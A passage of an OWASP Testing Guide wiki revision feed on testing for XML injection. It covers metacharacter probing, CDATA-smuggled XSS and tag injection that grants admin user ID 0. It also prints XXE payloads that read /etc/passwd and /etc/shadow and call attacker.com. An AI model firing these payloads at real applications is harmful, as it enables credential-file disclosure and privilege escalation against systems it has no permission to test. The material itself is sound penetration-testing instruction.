	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to  try to inject XML data and tags.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous example. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only shortcoming is that userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD.&lt;br /&gt;
Let's suppose that XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36993</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36993"/>
				<updated>2008-08-23T06:22:49Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: clarify xxe attacks&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
